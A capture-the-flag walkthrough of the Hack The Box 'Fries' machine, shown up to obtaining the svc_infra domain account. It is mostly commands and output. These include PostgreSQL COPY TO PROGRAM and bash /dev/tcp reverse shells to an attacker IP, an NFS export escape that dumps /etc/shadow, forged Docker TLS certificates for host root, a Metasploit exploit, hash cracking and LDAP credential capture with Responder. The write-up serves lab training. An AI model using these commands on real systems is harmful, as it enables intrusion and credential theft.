> m4rt@CTF_ARCHIVE:~$

Hack The Box / WINDOWS / 2026-07-25

Hack The Box - Fries (Windows)

We start with supplied credentials that are valid only for the web applications. A misconfigured PWM instance and exposed Gitea repository lead to PostgreSQL command execution and a foothold inside the Docker environment. Abuse of the Docker TLS API yields root access to the Linux host, allowing recovery of the PWM configuration and Active Directory service account credentials. Finally, certipy reveals an AD CS misconfiguration that can be exploited through ESC6/ESC7 to obtain Domain Administrator privileges.

Machine Information

Please allow up to 7 minutes for services to load. As is common in real life Windows penetration tests, you will start the Fries box with credentials for the following account : d.cooper@fries.htb / D4LE11maan!!

Target

  • IP: 10.10.11.96

Port scan

sudo nmap -sC -sV 10.10.11.96 -p- -v
PORT      STATE SERVICE       VERSION
22/tcp    open  ssh           OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 b3:a8:f7:5d:60:e8:66:16:ca:92:f6:76:ba:b8:33:c2 (ECDSA)
|_  256 07:ef:11:a6:a0:7d:2b:4d:e8:68:79:1a:7b:a7:a9:cd (ED25519)
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          nginx 1.18.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://fries.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-11-25 22:03:32Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-11-25T22:05:09+00:00; +5d01h51m41s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.fries.htb, DNS:fries.htb, DNS:FRIES
| Issuer: commonName=fries-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-11-18T05:39:19
| Not valid after:  2105-11-18T05:39:19
| MD5:   2410:a18d:14b3:7f5d:8e34:d144:0bac:6469
|_SHA-1: 3e84:1436:bb47:6ccd:f5ee:f805:cacd:47b6:6485:7e09
443/tcp   open  ssl/http      nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html;charset=ISO-8859-1).
| tls-alpn:
|_  http/1.1
| ssl-cert: Subject: commonName=pwm.fries.htb/organizationName=Fries Foods LTD/stateOrProvinceName=Madrid/countryName=SP
| Issuer: commonName=pwm.fries.htb/organizationName=Fries Foods LTD/stateOrProvinceName=Madrid/countryName=SP
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-06-01T22:06:09
| Not valid after:  2026-06-01T22:06:09
| MD5:   118d:ea17:3fba:3b65:28de:8e26:33e7:19f2
|_SHA-1: 5503:8aa8:0080:a853:ca73:87e3:b705:3fe8:b599:a855
|_http-favicon: Unknown favicon MD5: F588322AAF157D82BB030AF1EFFD8CF9
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.18.0 (Ubuntu)
| tls-nextprotoneg:
|_  http/1.1
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-11-25T22:05:08+00:00; +5d01h51m42s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.fries.htb, DNS:fries.htb, DNS:FRIES
| Issuer: commonName=fries-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-11-18T05:39:19
| Not valid after:  2105-11-18T05:39:19
| MD5:   2410:a18d:14b3:7f5d:8e34:d144:0bac:6469
|_SHA-1: 3e84:1436:bb47:6ccd:f5ee:f805:cacd:47b6:6485:7e09
2179/tcp  open  vmrdp?
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-11-25T22:05:09+00:00; +5d01h51m41s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.fries.htb, DNS:fries.htb, DNS:FRIES
| Issuer: commonName=fries-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-11-18T05:39:19
| Not valid after:  2105-11-18T05:39:19
| MD5:   2410:a18d:14b3:7f5d:8e34:d144:0bac:6469
|_SHA-1: 3e84:1436:bb47:6ccd:f5ee:f805:cacd:47b6:6485:7e09
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.fries.htb, DNS:fries.htb, DNS:FRIES
| Issuer: commonName=fries-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-11-18T05:39:19
| Not valid after:  2105-11-18T05:39:19
| MD5:   2410:a18d:14b3:7f5d:8e34:d144:0bac:6469
|_SHA-1: 3e84:1436:bb47:6ccd:f5ee:f805:cacd:47b6:6485:7e09
|_ssl-date: 2025-11-25T22:05:08+00:00; +5d01h51m42s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49687/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49688/tcp open  msrpc         Microsoft Windows RPC
49691/tcp open  msrpc         Microsoft Windows RPC
49698/tcp open  msrpc         Microsoft Windows RPC
49922/tcp open  msrpc         Microsoft Windows RPC
50395/tcp open  msrpc         Microsoft Windows RPC
50424/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows

Add dc01.fries.htb, fries.htb, and pwm.fries.htb to /etc/hosts.

nxc smb dc01.fries.htb -u 'd.cooper' -p 'D4LE11maan!!' --shares
SMB         10.10.11.96    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:fries.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.96    445    DC01             [-] fries.htb\d.cooper:D4LE11maan!! STATUS_LOGON_FAILURE

It appears that the provided credentials do not work on the system.

PWM enumeration

Browse to https://pwm.fries.htb/. We are redirected to https://pwm.fries.htb/pwm/private/login, which hosts a "password self service" site. The software is PWM.

There is a notification:

PWM is currently in configuration mode. This mode allows updating the configuration without authenticating to an LDAP directory first. End user functionality is not available in this mode.
After you have verified the LDAP directory settings, use the Configuration Manager to restrict the configuration to prevent unauthorized changes. After restricting, the configuration can still be changed but will require LDAP directory authentication first.

Clicking the arrow reveals the version: PWM v2.0.8 bb7ed22b. If we enter a random username and password, we get:

5017 ERROR_DIRECTORY_UNAVAILABLE (all ldap profiles are unreachable; errors: ["error connecting as proxy user: unable to create connection: unable to connect to ldap url, error: unable to bind to ldaps://dc01.fries.htb:636 as CN=svc_infra,CN=Users,DC=fries,DC=htb reason: CommunicationException (dc01.fries.htb:636; server certificate {subject=} does not match a certificate in the PWM configuration trust store.)"])

We have therefore obtained a username: svc_infra.

The provided credentials do not work. Clicking Configuration Manager or Configuration Editor prompts for a password, and D4LE11maan!! does not work.

Gitea enumeration

gobuster vhost -u 'http://fries.htb/' -w /home/kali/wordlists/subdomains-top1million-110000.txt -t 50 --append-domain
Found: code.fries.htb Status: 200 [Size: 13593]

Add code.fries.htb to /etc/hosts, then browse to http://code.fries.htb/. It is Gitea 1.22.6. There are no public repositories. On the users page we find:

  • dale (Dale Cooper)
  • administrator

Log in to Gitea with the provided credentials: d.cooper@fries.htb / D4LE11maan!!.

There is a fries.htb repository. Clone it and enter the username and password:

git clone http://code.fries.htb/dale/fries.htb.git

Browsing the commits provides useful information. We find a .env file containing:

DATABASE_URL=postgresql://root:PsqLR00tpaSS11@172.18.0.3:5432/ps_db
SECRET_KEY=y0st528wn1idjk3b9a

A README.md contains this useful information:

Ensure the backend PostgreSQL database is accessible and contains the necessary schema - ps_db
The backend database can be managed from http://db-mgmt05.fries.htb. (This requires infra access, contact Dylan, Mike or Dale)
Make sure the appropriate credentials and network routing are in place.

pgAdmin and PostgreSQL

Add db-mgmt05.fries.htb to /etc/hosts and browse to http://db-mgmt05.fries.htb. It is pgAdmin 4 and has a login form. Log in with d.cooper@fries.htb / D4LE11maan!!.

Click Servers. There is a fries.htb server and we are prompted for the root user's password. Enter PsqLR00tpaSS11; the login succeeds. There are three databases: gitea, postgres, and ps_db.

Open the gitea database. It contains a user table. Click User → View/Edit Data → All Rows. We can download the results as a .csv file. We obtain the administrator user's hash:

67faad48c47a340b45ca87fa1dc4d048ce6b41bb6fae6b555240f1ffdc31367ddb8430a46811a7d402618aec8cce4f00143e

The algorithm is pbkdf2$50000$50 and the salt is 65c13aa196bbd6189387a345febfdc21.

perl -e 'print pack ("H*", "67faad48c47a340b45ca87fa1dc4d048ce6b41bb6fae6b555240f1ffdc31367ddb8430a46811a7d402618aec8cce4f00143e")' | base64
Z/qtSMR6NAtFyof6HcTQSM5rQbtvrmtVUkDx/9wxNn3bhDCkaBGn1AJhiuyMzk8AFD4=
python3 -c 'import base64; print(base64.b64encode(bytes.fromhex("65c13aa196bbd6189387a345febfdc21")))'
ZcE6oZa71hiTh6NF/r/cIQ==

Build the final hash:

sha256:50000:ZcE6oZa71hiTh6NF/r/cIQ==:Z/qtSMR6NAtFyof6HcTQSM5rQbtvrmtVUkDx/9wxNn3bhDCkaBGn1AJhiuyMzk8AFD4=

Put it in a file named hash:

hashcat -a 0 -m 10900 ./hash ./rockyou.txt

It does not crack.

PostgreSQL can execute system commands, allowing us to obtain a reverse shell. Start a listener:

nc -vlnp 4444

Click the postgres database, then Tools → Query Tool. Enter and execute this query:

COPY (SELECT '') to PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.16.13/4444 0>&1"'

We obtain a reverse shell. Upgrade it:

script -qc /bin/bash /dev/null
CRTL+z
stty raw -echo
fg

We are in a Docker container with few commands available.

To upload files to the container, use this strategy. On the attacking machine:

cat myfile | nc -vlnp 4444

On the victim machine:

cat < /dev/tcp/10.10.16.13/4444 > myfile

Download the statically compiled curl and upload it to the container:

chmod +x curl

We can now upload files more easily by fetching them with curl.

Download the statically compiled netstat, upload it to the victim container, and run it:

./netstat -paneut
./netstat -paneut
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:5432            0.0.0.0:*               LISTEN      1/postgres
tcp        0      0 127.0.0.11:36175        0.0.0.0:*               LISTEN      -
tcp        0      0 172.18.0.3:5432         172.18.0.4:38676        ESTABLISHED 1516/postgres: root
tcp        0      0 172.18.0.3:5432         172.18.0.4:53524        ESTABLISHED 1493/postgres: root
tcp        0      0 172.18.0.3:5432         172.18.0.4:48416        ESTABLISHED 1518/postgres: root
tcp        0      0 172.18.0.3:5432         172.18.0.4:53528        ESTABLISHED 1494/postgres: root
tcp        0      0 172.18.0.3:5432         172.18.0.5:51306        ESTABLISHED 821/postgres: root
tcp        0      0 172.18.0.3:5432         172.18.0.4:47456        ESTABLISHED 1540/postgres: root
tcp        0    637 172.18.0.3:54388        10.10.16.13:4444        ESTABLISHED 1569/bash
tcp        0      0 172.18.0.3:5432         172.18.0.4:53538        ESTABLISHED 1495/postgres: root
tcp        0      0 172.18.0.3:5432         172.18.0.5:33906        ESTABLISHED 1175/postgres: root
tcp        0      0 :::5432                 :::*                    LISTEN      1/postgres
udp        0      0 127.0.0.11:43823        0.0.0.0:*

Therefore, this is not the container hosting SSH.

Download the statically compiled ip, upload it, and inspect the network:

./ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0@if8: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP
    link/ether 8a:fd:97:35:37:f0 brd ff:ff:ff:ff:ff:ff
    inet 172.18.0.3/16 brd 172.18.255.255 scope global eth0
       valid_lft forever preferred_lft forever
./ip route
default via 172.18.0.1 dev eth0
172.18.0.0/16 dev eth0 scope link  src 172.18.0.3

Download the statically compiled nmap and upload it to the victim. Copy these files and upload them as well:

cp /usr/share/nmap/nmap-services .
cp /usr/share/nmap/nmap-protocols .

On the victim, run:

./nmap 172.18.0.0/24 -p- -v -T5
Nmap scan report for web (172.18.0.1)
Host is up (0.0041s latency).
Not shown: 65523 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
443/tcp   open  https
2049/tcp  open  nfs
3000/tcp  open  ppp
8443/tcp  open  https-alt
34981/tcp open  unknown
37959/tcp open  unknown
42735/tcp open  unknown
43659/tcp open  unknown
45971/tcp open  unknown

Nmap scan report for web.scripts_vpcbr2 (172.18.0.2)
Host is up (0.0037s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT     STATE SERVICE
5000/tcp open  upnp

Nmap scan report for 858fdf51af59 (172.18.0.3)
Host is up (0.00018s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT     STATE SERVICE
5432/tcp open  postgresql

Nmap scan report for pgadmin4.scripts_vpcbr2 (172.18.0.4)
Host is up (0.0032s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT   STATE SERVICE
80/tcp open  http

Nmap scan report for gitea.scripts_vpcbr2 (172.18.0.5)
Host is up (0.0031s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
3000/tcp open  ppp

Nmap scan report for pwm.scripts_vpcbr2 (172.18.0.6)
Host is up (0.0039s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT     STATE SERVICE
8443/tcp open  https-alt

NFS exploitation

To access the ports we found, use Chisel as a SOCKS proxy. Download Chisel and upload the Windows version to the victim. On the attacking machine:

./chisel server -p 9999 --reverse

On the victim:

./chisel client 10.10.16.13:9999 R:socks

Edit /etc/proxychains4.conf and add the following line, commenting out any other SOCKS proxy lines:

socks5  127.0.0.1 1080
proxychains showmount -e 172.18.0.1
/srv/web.fries.htb *

Run Chisel again as follows:

./chisel client 10.10.16.13:9999 R:socks R:127.0.0.1:2049:172.18.0.1:2049
mkdir mnt
sudo mount -t nfs 127.0.0.1:/srv/web.fries.htb ./mnt -o nolock
zip -r nfs_stuff.zip mnt/

There are three directories: certs, shared, and webroot. Nothing appears interesting.

I used nfs_analyze from nfs-security-tooling:

nfs_analyze 127.0.0.1
Checking host 127.0.0.1
Server does not support Portmap, skipping NFSv3 checks

Supported NFS versions reported by nfsd:
Version  Supported
3        Yes
4.0      Yes
4.1      Yes
4.2      Yes

NFSv4 overview and auth methods (incomplete)
srv: pseudo
    web.fries.htb: sys
        shared: sys
        certs: sys
        webroot: sys

NFSv4 guessed exports (Linux only, may differ from /etc/exports):
Directory           Auth methods  Export file handle
/srv/web.fries.htb  sys           0100070001000a00000000008a01da16c18a400cbc9b37e3567d3fba

NFSv4.1 Windows File Handle Signing: OK, server probably not Windows, Root file handle not as expected

Trying to escape exports
Export: /srv/web.fries.htb: file system type ext/xfs, parent: None, None
Escape successful, root directory listing:
lib64 mnt sys etc proc lib snap lost+found media tmp dev var .bash_history swap.img srv home libx32 bin root usr sbin lib32 opt boot run
Root file handle: 0100070201000a00000000008a01da16c18a400cbc9b37e3567d3fba02000000000000000200000000000000

GID of shadow group: 42
Content of /etc/shadow:
root:$y$j9T$yqbmFwMbHh7qoaRaY3jx..$FMFv9upB20J4yPWwAJxndkOA4zzrn5/Udv4BF9LbLq/:20239:0:99999:7:::
daemon:*:19579:0:99999:7:::
bin:*:19579:0:99999:7:::
sys:*:19579:0:99999:7:::
sync:*:19579:0:99999:7:::
games:*:19579:0:99999:7:::
man:*:19579:0:99999:7:::
lp:*:19579:0:99999:7:::
mail:*:19579:0:99999:7:::
news:*:19579:0:99999:7:::
uucp:*:19579:0:99999:7:::
proxy:*:19579:0:99999:7:::
www-data:*:19579:0:99999:7:::
backup:*:19579:0:99999:7:::
list:*:19579:0:99999:7:::
irc:*:19579:0:99999:7:::
gnats:*:19579:0:99999:7:::
nobody:*:19579:0:99999:7:::
_apt:*:19579:0:99999:7:::
systemd-network:*:19579:0:99999:7:::
systemd-resolve:*:19579:0:99999:7:::
messagebus:*:19579:0:99999:7:::
systemd-timesync:*:19579:0:99999:7:::
pollinate:*:19579:0:99999:7:::
sshd:*:19579:0:99999:7:::
syslog:*:19579:0:99999:7:::
uuidd:*:19579:0:99999:7:::
tcpdump:*:19579:0:99999:7:::
tss:*:19579:0:99999:7:::
landscape:*:19579:0:99999:7:::
fwupd-refresh:*:19579:0:99999:7:::
usbmux:*:19589:0:99999:7:::
svc:$y$j9T$Y7j3MSqEJTcNTqSSVJRS2.$h0AFlCXKB9V0PZ.BIyZKSGR6WFJWlxIRiqK.JLOB4PD:20238:0:99999:7:::
lxd:!:19589::::::
_rpc:*:20234:0:99999:7:::
statd:*:20234:0:99999:7:::
dnsmasq:*:20234:0:99999:7:::
barman:*:20236:0:99999:7:::
sssd:*:20238:0:99999:7:::


Trying to guess server OS
OS       Property                                      Fulfilled
Linux    File Handles start with 0x0100                Yes
Windows  NFSv3 File handles are 32 bytes long          No
Windows  Only NFS versions 3 and 4.1 supported         No
FreeBSD  Mountd reports subnets without mask           Unknown
NetApp   netapp partner protocol supported             Unknown
HP-UX    Only one request per TCP connection possible  Unknown

Final OS guess: Linux

Put the root and svc hashes in a file named hash:

./john/run/john --list=formats
./john/run/john --format=crypt --wordlist=./rockyou.txt ./hash

They do not crack.

Use fuse_nfs to mount the target system's filesystem from its root directory. Edit /etc/fuse.conf and uncomment the user_allow_other line.

Run Chisel again:

./chisel client 10.10.16.13:9999 R:socks R:127.0.0.1:2049:172.18.0.1:2049 R:127.0.0.1:111:172.18.0.1:111

Now run:

fuse_nfs --manual-fh 0100070201000a00000000008a01da16c18a400cbc9b37e3567d3fba02000000000000000200000000000000 --allow-write --fake-uid --fake-uid-allow-root ./mnt 127.0.0.1

The hexadecimal file handle was printed earlier by nfs_analyze.

The entire filesystem is available. Go to mnt/home/svc/.ssh and put our public key in authorized_keys:

echo '<public_key>' >> authorized_keys

We can now connect over SSH:

ssh -i <private_key> svc@fries.htb

The following files are in mnt/srv/web.fries.htb/certs:

-rw-rw-rw- 1 root 59605603 1708 Nov 27  2025 ca-key.pem
-rw-rw-rw- 1 root 59605603 1111 Nov 27  2025 ca.pem
-rw-rw-rw- 1 root 59605603 1115 Nov 27  2025 server-cert.pem
-rw-rw-rw- 1 root 59605603  940 Nov 27  2025 server.csr
-rw-rw-rw- 1 root 59605603 1704 Nov 27  2025 server-key.pem
-rw-rw-rw- 1 root 59605603  205 Nov 27  2025 server-openssl.cnf

pgAdmin CVE-2025-2945

Consider the pgAdmin 4 service hosted in the container at 172.18.0.4. Clicking Help → About pgAdmin 4 shows version 9.1. It is vulnerable to CVE-2025-2945, for which an exploit exists in Metasploit:

msfconsole
use exploit/multi/http/pgadmin_query_tool_authenticated
set DB_USER root
set DB_PASS PsqLR00tpaSS11
set DB_NAME ps_db
set USERNAME d.cooper@fries.htb
set PASSWORD D4LE11maan!!
set RHOSTS db-mgmt05.fries.htb
set VHOHST db-mgmt05.fries.htb
set LHOST tun0
run

We obtain a Meterpreter shell.

getuid
Server username: pgadmin
shell

We obtain a shell.

env

We notice:

PGADMIN_DEFAULT_PASSWORD=Friesf00Ds2025!!
PGADMIN_DEFAULT_EMAIL=admin@fries.htb
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0@if9: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP
    link/ether 26:cb:3a:82:23:05 brd ff:ff:ff:ff:ff:ff
    inet 172.18.0.4/16 brd 172.18.255.255 scope global eth0
       valid_lft forever preferred_lft forever

We are in the pgadmin4.scripts_vpcbr2 container.

Obtain a better reverse shell. Start a listener:

nc -vlnp 4444

In the container shell, run:

bash -c 'bash -i >& /dev/tcp/10.10.14.102/4444 0>&1'

We obtain a reverse shell. Upgrade it:

python3 -c 'import pty; pty.spawn("/bin/bash")'
CTRL+Z
stty raw -echo
fg
id
uid=5050(pgadmin) gid=0(root) groups=0(root)
cat /etc/os-release
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.21.3
PRETTY_NAME="Alpine Linux v3.21"
HOME_URL="https://alpinelinux.org/"
BUG_REPORT_URL="https://gitlab.alpinelinux.org/alpine/aports/-/issues"

It appears that we cannot do much here.

Docker API privilege escalation

Try the password found against the Windows machine's SSH port:

ssh svc@fries.htb

Enter the password Friesf00Ds2025!!. It works and we obtain a shell, but we are still in the web container, exactly as before.

ss -ltpn

We notice port 2376 listening on 127.0.0.1. This service is Docker's TLS API and uses X.509 certificates. First, forward the port to our machine:

ssh svc@fries.htb -NL 2376:localhost:2376

Generate an RSA key. Using the CA certificate (ca.pem) and CA key (ca-key.pem) exfiltrated earlier, generate a valid certificate:

openssl genrsa -out client-key.pem 4096
openssl req -new -key client-key.pem -out client.csr -subj "/CN=root"
openssl x509 -req -in client.csr -CA ca.pem -CAkey ca-key.pem -CAcreateserial -out client-cert.pem -days 365

Use the generated certificate to connect to the Docker API:

docker --tlsverify --tlscacert=ca.pem --tlscert=client-cert.pem --tlskey=client-key.pem -H tcp://127.0.0.1:2376 version

It works.

docker --tlsverify --tlscacert=ca.pem --tlscert=client-cert.pem --tlskey=client-key.pem -H tcp://127.0.0.1:2376 ps -a
CONTAINER ID   IMAGE                   COMMAND                  CREATED        STATUS        PORTS                                                                        NAMES
f427ecaa3bdd   pwm/pwm-webapp:latest   "/app/startup.sh"        7 months ago   Up 16 hours   0.0.0.0:8443->8443/tcp, [::]:8443->8443/tcp                                  pwm
cb46692a4590   dpage/pgadmin4:9.1.0    "/entrypoint.sh"         7 months ago   Up 16 hours   443/tcp, 127.0.0.1:5050->80/tcp                                              pgadmin4
bfe752a26695   fries-web               "/usr/local/bin/pyth…"   7 months ago   Up 16 hours   127.0.0.1:5000->5000/tcp                                                     web
858fdf51af59   postgres:16             "docker-entrypoint.s…"   7 months ago   Up 16 hours   5432/tcp                                                                     postgres
b916aad508e2   gitea/gitea:1.22.6      "/usr/bin/entrypoint…"   7 months ago   Up 16 hours   127.0.0.1:3000->3000/tcp, 172.18.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp   gitea
docker --tlsverify --tlscacert=ca.pem --tlscert=client-cert.pem --tlskey=client-key.pem -H tcp://127.0.0.1:2376 image ls
REPOSITORY       TAG       IMAGE ID       CREATED         SIZE
<none>           <none>    a35a9aa8056b   6 weeks ago     513MB
fries-web        latest    192168217481   7 months ago    151MB
postgres         16        616e340baeac   7 months ago    436MB
dpage/pgadmin4   9.1.0     b2e76a3c5433   10 months ago   513MB
pwm/pwm-webapp   latest    6b2bacb1343e   10 months ago   378MB
gitea/gitea      1.22.6    dfd595e2afd4   12 months ago   167MB

We can obtain a shell on the Linux machine as root as follows:

docker --tlsverify --tlscacert=ca.pem --tlscert=client-cert.pem --tlskey=client-key.pem -H tcp://127.0.0.1:2376 run -v /:/mnt --rm -it gitea/gitea:1.22.6 chroot /mnt bash

We obtain a shell:

cd /root

There is a user.txt file containing the user flag.

/root/.ssh/id_rsa contains root's SSH private key. Copy it to the attacking machine as web_root_key:

chmod 600 web_root_key

We can now connect to the web machine as root over SSH:

ssh -i web_root_key root@fries.htb

Enter the PWM password-manager container:

docker --tlsverify --tlscacert=ca.pem --tlscert=client-cert.pem --tlskey=client-key.pem -H tcp://127.0.0.1:2376 exec -it f427ecaa3bdd bash
cat /config/PwmConfiguration.xml

We notice:

<property key="configPasswordHash">$2y$04$W1TubX/9JAqpHlxx7xqXpesUMB2bJMV4dH/8pXbcul0NgA6ZexGyG</property>
<setting key="ldap.proxy.password" modifyTime="2025-06-01T02:07:43Z" profile="default" syntax="PASSWORD" syntaxVersion="0">
            <label>LDAP ⇨ LDAP Directories ⇨ default ⇨ Connection ⇨ LDAP Proxy Password</label>
            <value>ENC-PW:oF4OfldGCHrbhPuevlVNUl2wkgUFlqTwZtjoks/G2peQhAo1lKDFaQxK7bZB67s4ZWjp9XSJ+eB0lEG8bLpd45hP8XAfY8abvgQJm3ztQ0c=</value>
        </setting>
        <setting key="ldap.proxy.username" modifyTime="2025-06-01T02:07:43Z" profile="default" syntax="STRING" syntaxVersion="0">
            <label>LDAP ⇨ LDAP Directories ⇨ default ⇨ Connection ⇨ LDAP Proxy User</label>
            <value>CN=svc_infra,CN=Users,DC=fries,DC=htb</value>
        </setting>
<setting key="pwm.securityKey" modifyTime="2025-06-01T02:07:43Z" syntax="PASSWORD" syntaxVersion="0">
            <label>Settings ⇨ Security ⇨ Application Security ⇨ Security Key</label>
            <value>ENC-PW:7UUVOi0nYr3nlzC16WMbxnn7KGWhIBsc4x6b1Q3XdY2zEOWA9ZGAtIy5l5NrKZCGPo/CX9b5OG/SB7rC+hgAzogj3DlkbnkdDYaAGVJXgy+lec5LO1vQcjXzZNBeXA+suqONj+sujtwfdVUiblFG0pRCk3DKhp0GMEUefPrT3z7k2s+/zoN9Km3crFEWAuPHLeD6vmW2fgd2DCmdJZd/NSEhDJnkdOR3gEydzBGNUzwd7tf1Tfffn78wWSckoc9JBHPoWZBt6CjG/wlvGFWd9C0Y/Oyf5DCNB1jqf9H1esMsQkDVb5NOM7l7nLg0lVpfEiOQMLU2m6ugh1SaA3VuITTWNIVvD24b1zxhOokVNJQyE9s4KJJQZMiAlO355RHQIOqnuxxLd+zhl7wdnfIC5St+XjG0HWDmGa3dPYrZeDAwc5prebiZTxnyv3PHLrLEptp3E59SgsMrkA85gxh3PTN8UiqUZjk49LHcuZ7ZtoG6F+cXnV+saZ/uC618vG2gxr52jaBflknuVXYf5vbQeDc6GNnN2CuPFaRgrgk4Ov3wVrmqY8n5Zzp+rPu5ZxvAx9IHhEp1ZvFtnLOFqwmM/tbwGnTUOVCk0ySOYKJJV3t+sPM0kwjK0nU12TkswpIsGTOkPt0hyw5JKPOLTdIjs27dlceNSfKRQ6zN6Q2iQ+52VI6ky5dU8Q0iUuG6eUsANclgGIsym/mjLeQ9Xg3D13SgknnWelMCA2hNw/puoK/FnhdwqgkcxVenRU4SZLcajyv265jSvz5+AEXl8yjfPgp4MT7AEAqf7jSZA7A3PzTu0u1FwB4JRbhInJP1pXEmVzCLQ0l4OH1HLJW4BSOWi03wuaHNmns5eE0N8Z7xRBMnO6Pw/9kFe8clF8I/wfh/8l3Zyu7avO18/5NNnFYd7qLUOKjBD7w6hirXxH6efkT6wB4rHMgpeu3vTQ9vhvPIQiUFSlaDwYZ6D0Fe69fC2U46jW+e/oZc3Mtq4oTCcuHsW6BIVMjfb8+WNk3Ed9qjTAsrJFLo2BYJ5tBwavWsxTMuu8OpECgVu+NdbSvOcZ67J1rh2ZDn9ZDzEwPDe3sarTEEap3OvncX8sk9y0l9ltFjEdvM8mVp3EYP8p01ojDcj6m6uHIZVhgNXtOSSiR/O8z5d+8Dd+csZl3ueZjOPmqLfWjtgs3wsLtdpPgy6/LJl2NMgnhuj7H80Cd+flBbp90eZfweCTtRVvQzrYJERf3Uxp4C5ZxbINcqh0Ghu2OwgP3vcKcIrb27mRna/rdyrmJHGsHIuXX+f8c6afY3qMUHTO9pFesASqU2phUUdZm8NyKNrPlpf28fgyHKsj84pyimyxQ4EJ7oPlDHJAa9HRYOpYDr4E5GZ8Lru27XUKTXpeS8B2jrA1LjJSiyEdptkXrCd+VJpinC2W+9kv2UJSYIkGoBg2jKQ9kp2s4utfo=</value>
        </setting>

Try to crack configPasswordHash. Put the hash in a file named hash:

./hashcat/hashcat -a 0 -m 3200 ./hash ./rockyou.txt

We obtain:

$2y$04$W1TubX/9JAqpHlxx7xqXpesUMB2bJMV4dH/8pXbcul0NgA6ZexGyG:rockon!

Browse to https://pwm.fries.htb/, click Configuration Editor, and enter the password rockon!. We gain access.

From the tree menu, select LDAP → LDAP Directories → Default → Connection. Change the LDAP URLs to point to us:

ldap://10.10.14.102:389

Start Responder:

sudo responder -I tun0

Click Test LDAP Profile. In the Responder terminal we obtain:

[LDAP] Cleartext Client   : 10.10.11.96
[LDAP] Cleartext Username : CN=svc_infra,CN=Users,DC=fries,DC=htb
[LDAP] Cleartext Password : m6tneOMAh5p0wQ0d
nxc smb dc01.fries.htb -u svc_infra -p 'm6tneOMAh5p0wQ0d' --shares
SMB         10.10.11.96     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:fries.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.96     445    DC01             [+] fries.htb\svc_infra:m6tneOMAh5p0wQ0d
SMB         10.10.11.96     445    DC01             [*] Enumerated shares
